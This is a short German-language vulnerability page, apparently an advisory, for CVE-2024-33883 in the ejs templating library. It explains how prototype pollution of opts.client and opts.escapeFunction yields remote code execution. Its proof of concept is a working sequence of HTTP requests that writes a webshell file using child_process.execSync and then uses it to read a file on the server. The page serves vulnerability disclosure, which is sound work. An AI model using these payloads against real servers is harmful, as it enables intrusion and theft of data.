CVE-2024-33883

[email protected], Unzureichende Prototype-Pollution-Validierung führt zu RCE-Ausnutzung

Mit Prototype Pollution setze opts.client auf einen truthy-Wert (Bedingung)
Dann, wenn render() ausgeführt wird, führt ejs den Wert von opts.escapeFunction als JS-Code aus.

Angreifbarer Code-Bereich

1. ejs/lib/ejs.js - Zeile 580, 636, 637

PoC (Webshell injizieren & aktivieren)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell

PoC-CVE-2024-33883

Beliebteste

Bedingungen für den Angriff

Wie kann ich diesen Angriff verhindern?